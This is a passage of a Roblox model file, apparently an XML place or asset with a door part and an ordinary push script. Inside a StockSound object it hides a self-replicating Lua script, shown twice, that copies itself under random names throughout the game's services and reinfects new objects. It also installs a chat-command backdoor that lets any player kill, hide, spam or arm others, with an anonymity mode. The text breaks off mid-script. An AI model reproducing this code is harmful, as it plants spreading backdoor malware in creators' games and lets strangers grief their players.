kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX540">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">11</int>
						<CoordinateFrame name="CFrame">
							<X>-59.5</X>
							<Y>61.9000015</Y>
							<Z>113.5</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>-1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>-0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">OneWayDoor</string>
						<float name="Reflectance">0.100000001</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.100000001</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>75</X>
							<Y>123</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Script" referent="RBX541">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">PushPack</string>
							<string name="Source">door = script.Parent

function onTouch(hit)
	if hit.Parent == nil then return end
	local h = hit.Parent:FindFirstChild(&quot;Humanoid&quot;)
	if h ~= nil then
		hit.Parent.Torso.Velocity=door.CFrame.lookVector * 100 -- Push the Player back
	end
end
door.Touched:connect(onTouch)</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX542">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">2xdje</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX543">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ugwdq</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
